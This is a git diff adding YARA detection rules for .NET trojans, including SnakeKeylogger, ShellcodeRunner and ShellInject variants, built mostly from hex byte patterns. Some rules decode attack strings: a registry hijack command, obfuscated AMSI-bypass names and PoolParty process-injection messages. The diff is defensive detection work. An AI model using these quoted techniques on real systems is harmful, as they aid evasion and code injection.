a/Trojan/BAT/Rozena/Trojan_BAT_Rozena_GAF_MTB.yar b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_GAF_MTB.yar new file mode 100644 index 0000000000..ddd7bed7a3 --- /dev/null +++ b/Trojan/BAT/Rozena/Trojan_BAT_Rozena_GAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Rozena_GAF_MTB{ + meta: + description = "Trojan:BAT/Rozena.GAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {08 61 d2 13 0a 11 0a 18 59 20 ff 00 00 00 5f d2 13 0a 07 11 09 11 0a 9c 11 09 17 58 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Scar/Trojan_BAT_Scar_EHH_MTB.yar b/Trojan/BAT/Scar/Trojan_BAT_Scar_EHH_MTB.yar new file mode 100644 index 0000000000..2edfac2a3b --- /dev/null +++ b/Trojan/BAT/Scar/Trojan_BAT_Scar_EHH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Scar_EHH_MTB{ + meta: + description = "Trojan:BAT/Scar.EHH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {14 11 06 11 07 ?? ?? ?? ?? ?? 26 09 17 58 0d 11 07 17 58 13 07 11 07 11 06 ?? ?? ?? ?? ?? 32 e1 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Scrami/Trojan_BAT_Scrami_GZZ_MTB.yar b/Trojan/BAT/Scrami/Trojan_BAT_Scrami_GZZ_MTB.yar new file mode 100644 index 0000000000..69ed320bd5 --- /dev/null +++ b/Trojan/BAT/Scrami/Trojan_BAT_Scrami_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Scrami_GZZ_MTB{ + meta: + description = "Trojan:BAT/Scrami.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {11 12 1e 1f 40 12 15 28 ?? 00 00 06 26 1e 8d 47 00 00 01 16 11 12 28 ?? 00 00 0a 1e 28 ?? 00 00 0a 11 12 1f 28 58 13 12 11 1f 17 58 13 1f 11 1f 11 13 32 cc 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Seraph/Trojan_BAT_Seraph_AWUA_MTB.yar b/Trojan/BAT/Seraph/Trojan_BAT_Seraph_AWUA_MTB.yar new file mode 100644 index 0000000000..0afc45b0c2 --- /dev/null +++ b/Trojan/BAT/Seraph/Trojan_BAT_Seraph_AWUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Seraph_AWUA_MTB{ + meta: + description = "Trojan:BAT/Seraph.AWUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {16 13 04 2b 1f 08 11 04 07 11 04 91 09 11 04 09 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 11 04 17 58 13 04 11 04 07 8e 69 32 da 06 08 6f ?? 00 00 0a 06 16 6f ?? 00 00 0a 13 05 de 03 26 de 93 11 05 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellCodeRunner_GAF_MTB.yar b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellCodeRunner_GAF_MTB.yar new file mode 100644 index 0000000000..0fdf7d5112 --- /dev/null +++ b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellCodeRunner_GAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ShellCodeRunner_GAF_MTB{ + meta: + description = "Trojan:BAT/ShellCodeRunner.GAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {2f 00 4f 00 69 00 50 00 41 00 41 00 41 00 41 00 59 00 44 00 48 00 53 00 69 00 65 00 56 00 6b 00 69 00 31 00 49 00 3d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EAJ_MTB.yar b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EAJ_MTB.yar new file mode 100644 index 0000000000..7c4fdd9b65 --- /dev/null +++ b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EAJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ShellcodeRunner_EAJ_MTB{ + meta: + description = "Trojan:BAT/ShellcodeRunner.EAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 17 11 18 11 05 11 18 91 20 aa 00 00 00 61 20 ff 00 00 00 5f d2 9c 11 18 17 58 13 18 11 18 11 05 8e 69 3f d8 ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EDJ_MTB.yar b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EDJ_MTB.yar new file mode 100644 index 0000000000..945656b997 --- /dev/null +++ b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_EDJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ShellcodeRunner_EDJ_MTB{ + meta: + description = "Trojan:BAT/ShellcodeRunner.EDJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 08 8f 09 00 00 01 25 71 09 00 00 01 72 49 00 00 70 08 20 80 00 00 00 5d 6f 06 00 00 0a d2 61 d2 81 09 00 00 01 08 17 58 0c 08 07 17 59 33 d0 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_NP_MTB.yar b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_NP_MTB.yar new file mode 100644 index 0000000000..f77ca047d7 --- /dev/null +++ b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_NP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_ShellcodeRunner_NP_MTB{ + meta: + description = "Trojan:BAT/ShellcodeRunner.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {07 09 16 1a 6f ?? 00 00 0a 1a fe 01 13 0a 11 0a 2d 08 16 13 09 dd ?? 00 00 00 09 16 28 ?? 00 00 0a 13 07 08 11 07 11 06 d2 6f ?? 00 00 0a 00 00 11 06 17 58 13 06 11 06 20 00 01 00 00 fe 04 13 0a 11 0a 2d ba } //2 + $a_03_1 = {13 07 11 05 11 08 08 11 07 6f ?? 00 00 0a 20 00 01 00 00 58 11 08 20 00 01 00 00 5d 59 20 00 01 00 00 5d d2 28 ?? 00 00 0a 00 11 08 17 58 13 08 00 07 09 16 1a 6f ?? 00 00 0a 1a fe 01 13 0a 11 0a } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_ZRS_MTB.yar b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_ZRS_MTB.yar new file mode 100644 index 0000000000..2f0298e000 --- /dev/null +++ b/Trojan/BAT/ShellCodeRunner/Trojan_BAT_ShellcodeRunner_ZRS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_ShellcodeRunner_ZRS_MTB{ + meta: + description = "Trojan:BAT/ShellcodeRunner.ZRS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {16 0d 2b 1f 00 06 09 8f ?? 00 00 01 25 71 ?? 00 00 01 20 a1 00 00 00 61 d2 81 ?? 00 00 01 00 09 17 58 0d 09 06 8e 69 fe 04 13 0b 11 0b 2d d5 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellInject/Trojan_BAT_ShellInject_DA_MTB.yar b/Trojan/BAT/ShellInject/Trojan_BAT_ShellInject_DA_MTB.yar new file mode 100644 index 0000000000..38c39bbeae --- /dev/null +++ b/Trojan/BAT/ShellInject/Trojan_BAT_ShellInject_DA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_ShellInject_DA_MTB{ + meta: + description = "Trojan:BAT/ShellInject.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 00 " + + strings : + $a_81_0 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 } //10 powershell.exe + $a_81_1 = {73 68 65 6c 6c 63 6f 64 65 } //10 shellcode + $a_81_2 = {43 72 65 61 74 65 4f 62 6a 65 63 74 28 52 65 70 6c 61 63 65 28 } //10 CreateObject(Replace( + $a_81_3 = {72 65 67 20 61 64 64 20 22 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 2e 70 77 6e 5c 53 68 65 6c 6c 5c 4f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 } //10 reg add "HKCU\Software\Classes\.pwn\Shell\Open\command + $a_81_4 = {61 2a 6d 2a 73 2a 69 2e 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 64 6c 2a 2a 2a 2a 2a 2a 6c 2a } //1 a*m*s*i.*********************dl******l* + $a_81_5 = {41 2a 2a 6d 2a 73 69 53 2a 2a 63 2a 61 2a 2a 2a 2a 2a 2a 2a 6e 2a 42 75 66 2a 66 2a 65 72 } //1 A**m*siS**c*a*******n*Buf*f*er + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=41 + +} \ No newline at end of file diff --git a/Trojan/BAT/ShellcodeInject/Trojan_BAT_ShellcodeInject_CFN_MTB.yar b/Trojan/BAT/ShellcodeInject/Trojan_BAT_ShellcodeInject_CFN_MTB.yar new file mode 100644 index 0000000000..ed5baccb78 --- /dev/null +++ b/Trojan/BAT/ShellcodeInject/Trojan_BAT_ShellcodeInject_CFN_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_ShellcodeInject_CFN_MTB{ + meta: + description = "Trojan:BAT/ShellcodeInject.CFN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {51 75 65 75 65 20 6f 66 20 74 61 72 67 65 74 20 70 72 6f 63 65 73 73 2e 20 50 6f 6f 6c 50 61 72 74 79 20 53 75 63 63 65 73 73 21 } //1 Queue of target process. PoolParty Success! + $a_81_1 = {6d 61 6c 69 63 69 6f 75 73 20 54 50 5f 4a 4f 42 } //1 malicious TP_JOB + $a_81_2 = {73 61 63 72 69 66 69 63 69 61 6c 20 65 64 67 65 20 70 72 6f 63 65 73 73 20 77 69 6c 6c 20 62 65 20 63 72 65 61 74 65 64 20 66 6f 72 20 74 68 65 20 69 6e 6a 65 63 74 69 6f 6e } //1 sacrificial edge process will be created for the injection + $a_81_3 = {57 72 69 74 69 6e 67 20 73 68 65 6c 6c 63 6f 64 65 20 74 6f 20 73 74 61 72 74 20 72 6f 75 74 69 6e 65 20 61 64 64 72 65 73 73 } //1 Writing shellcode to start routine address + $a_81_4 = {77 6f 72 6b 65 72 20 66 61 63 74 6f 72 79 20 73 74 61 72 74 20 72 6f 75 74 69 6e 65 2c 20 62 79 74 65 73 57 72 69 74 74 65 6e } //1 worker factory start routine, bytesWritten + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SmokeLoader/Trojan_BAT_SmokeLoader_ZVT_MTB.yar b/Trojan/BAT/SmokeLoader/Trojan_BAT_SmokeLoader_ZVT_MTB.yar new file mode 100644 index 0000000000..79d4d7d8e8 --- /dev/null +++ b/Trojan/BAT/SmokeLoader/Trojan_BAT_SmokeLoader_ZVT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SmokeLoader_ZVT_MTB{ + meta: + description = "Trojan:BAT/SmokeLoader.ZVT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 11 11 11 18 6f ?? 00 00 0a 13 19 11 08 1f 64 6a 5d 16 6a fe 01 13 25 11 25 39 8c 00 00 00 00 72 75 14 00 70 1d 8d 10 00 00 01 25 16 11 11 } //6 + $a_03_1 = {a2 25 18 12 19 28 ?? 00 00 0a 8c 57 00 00 01 a2 25 19 12 19 28 ?? 00 00 0a 8c 57 00 00 01 a2 25 1a 12 19 28 ?? 00 00 0a 8c 57 00 00 01 a2 25 1b 11 04 8c 51 00 00 01 a2 25 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeyLgger/Trojan_BAT_SnakeKeyLgger_CZ_MTB.yar b/Trojan/BAT/SnakeKeyLgger/Trojan_BAT_SnakeKeyLgger_CZ_MTB.yar new file mode 100644 index 0000000000..08fa06cd9f --- /dev/null +++ b/Trojan/BAT/SnakeKeyLgger/Trojan_BAT_SnakeKeyLgger_CZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeyLgger_CZ_MTB{ + meta: + description = "Trojan:BAT/SnakeKeyLgger.CZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {03 19 8d 01 00 00 01 25 16 12 07 20 d4 02 00 00 20 cf 02 00 00 28 91 00 00 06 9c 25 17 12 07 20 4f 01 00 00 20 53 01 00 00 28 91 00 00 06 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_MLI_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_MLI_MTB.yar new file mode 100644 index 0000000000..63875baa18 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_MLI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeyLogger_MLI_MTB{ + meta: + description = "Trojan:BAT/SnakeKeyLogger.MLI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 05 1e 5d 16 fe 01 13 06 11 06 2c 0f 02 11 05 02 11 05 91 20 a9 00 00 00 61 b4 9c 11 05 17 d6 13 05 11 05 11 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_PBK_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_PBK_MTB.yar new file mode 100644 index 0000000000..ee2e3d7089 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_PBK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeyLogger_PBK_MTB{ + meta: + description = "Trojan:BAT/SnakeKeyLogger.PBK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 07 11 07 1f 11 5a 11 07 18 62 61 ?? ?? ?? ?? ?? 60 9e 11 07 17 58 13 07 11 07 06 ?? ?? ?? ?? ?? 8e 69 fe 04 13 08 11 08 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_TL_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_TL_MTB.yar new file mode 100644 index 0000000000..0c50f5a9f7 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeyLogger_TL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeyLogger_TL_MTB{ + meta: + description = "Trojan:BAT/SnakeKeyLogger.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {02 11 07 91 06 ?? ?? ?? ?? ?? 11 05 91 13 08 07 61 11 08 61 13 09 11 0c 1f ?? 91 11 0c 20 ?? ?? ?? ?? 91 59 13 0b } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_AD_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_AD_MTB.yar new file mode 100644 index 0000000000..95a1625d03 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_AD_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 7d 2f 00 00 04 06 20 48 34 55 0e 5a 20 91 3e c5 e7 61 2b bc 02 03 7d 33 00 00 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_BAA_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_BAA_MTB.yar new file mode 100644 index 0000000000..80ce803100 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_BAA_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {03 11 07 11 08 91 6f 8a 00 00 0a 11 08 17 58 13 08 11 08 11 06 32 e9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EAGI_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EAGI_MTB.yar new file mode 100644 index 0000000000..78b5938fbc --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EAGI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_EAGI_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EAGI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {25 47 11 0e 1f 1f 5a d2 61 d2 52 11 0e 17 58 13 0e 11 0e 11 08 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHFM_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHFM_MTB.yar new file mode 100644 index 0000000000..530d7c5ad1 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHFM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_EHFM_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EHFM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 0c 91 11 0c 1e 5a 1f 1f 5f 62 58 0a 00 11 0c 17 58 13 0c 11 0c 03 ?? ?? ?? ?? ?? 8e 69 1a ?? ?? ?? ?? ?? fe 04 13 0d 11 0d 2d cc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHGU_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHGU_MTB.yar new file mode 100644 index 0000000000..0a736ff782 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EHGU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_EHGU_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EHGU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 07 08 9a 09 08 17 58 6c 09 6c ?? ?? ?? ?? ?? ?? ?? ?? ?? 5a ?? ?? ?? ?? ?? 03 5a a1 00 09 17 58 0d 09 02 fe 04 13 04 11 04 2d d4 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EJKC_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EJKC_MTB.yar new file mode 100644 index 0000000000..93bd20a286 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EJKC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeKeylogger_EJKC_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EJKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {58 07 8e 69 5d 13 0e 07 11 0e 11 0b 9c 11 0e 17 58 07 8e 69 5d } //1 + $a_02_1 = {08 07 8e 69 5d 13 11 07 11 11 11 0f 11 10 91 9c 03 11 0f 11 10 91 ?? ?? ?? ?? ?? 08 17 58 07 8e 69 5d 0c 11 10 17 58 13 10 11 10 11 0d 32 d1 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKEQ_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKEQ_MTB.yar new file mode 100644 index 0000000000..4f1979ce9d --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKEQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_EKEQ_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EKEQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {5f 11 39 fe 01 13 3a 11 3a 13 3b 11 3b 2c 0b 00 03 11 39 ?? ?? ?? ?? ?? 00 00 00 11 37 17 58 13 37 11 37 11 35 8e 69 fe 04 13 3c 11 3c 2d bb } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKER_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKER_MTB.yar new file mode 100644 index 0000000000..62b6ac1572 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_EKER_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_EKER_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.EKER!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 31 11 32 91 13 33 03 11 33 ?? ?? ?? ?? ?? 11 32 17 58 13 32 11 32 19 32 e6 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ENYU_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ENYU_MTB.yar new file mode 100644 index 0000000000..f00d3f777c --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ENYU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_ENYU_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.ENYU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 11 04 18 5a 6c ?? ?? ?? ?? ?? ?? ?? ?? ?? 5a 05 6c 5b ?? ?? ?? ?? ?? 02 ?? ?? ?? ?? ?? 5a 13 05 04 2c 09 11 04 04 8e 69 fe 04 2b 01 16 13 06 11 06 2c 0c 00 11 05 04 11 04 98 6c 5a 13 05 00 06 ?? ?? ?? ?? ?? 11 04 11 05 ?? ?? ?? ?? ?? a1 00 11 04 17 58 13 04 11 04 05 fe 04 13 07 11 07 2d 9e } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_PGS_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_PGS_MTB.yar new file mode 100644 index 0000000000..e3ec4a3942 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_PGS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_PGS_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.PGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0c 20 00 7c 01 00 0d 07 08 09 28 ?? 00 00 06 00 17 8d ?? 00 00 01 25 16 1f 4c 9d 17 8d ?? 00 00 01 25 16 1f 6f 9d 28 ?? 00 00 2b 17 8d ?? 00 00 01 25 16 1f 61 9d 28 ?? 00 00 2b 17 8d ?? 00 00 01 25 16 1f 64 9d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVB_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVB_MTB.yar new file mode 100644 index 0000000000..43f14e2ee0 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeKeylogger_RVB_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.RVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 82 00 00 00 3b 00 00 00 49 03 00 00 82 02 00 00 42 02 00 00 2c 01 00 00 9f 01 00 00 01 00 00 00 83 00 00 00 0c 00 00 00 64 00 00 00 c5 00 00 00 19 00 00 00 01 00 00 00 01 00 00 00 09 00 00 00 17 00 00 00 04 00 00 00 01 } //1 + $a_81_1 = {36 64 36 64 36 66 35 38 2d 35 32 62 39 2d 34 63 36 66 2d 38 61 39 62 2d 34 30 37 63 62 61 65 38 31 64 37 35 } //1 6d6d6f58-52b9-4c6f-8a9b-407cbae81d75 + $a_81_2 = {53 42 4d 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 SBMS.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVC_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVC_MTB.yar new file mode 100644 index 0000000000..980a93da4f --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_RVC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeKeylogger_RVC_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.RVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 17 b6 09 09 09 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 5d 00 00 00 10 00 00 00 60 00 00 00 44 00 00 00 1e 00 00 00 01 00 00 00 84 00 00 00 1a 00 00 00 15 00 00 00 01 00 00 00 01 00 00 00 03 00 00 00 08 00 00 00 0e 00 00 00 04 00 00 00 01 00 00 00 05 00 00 00 01 00 00 00 01 } //1 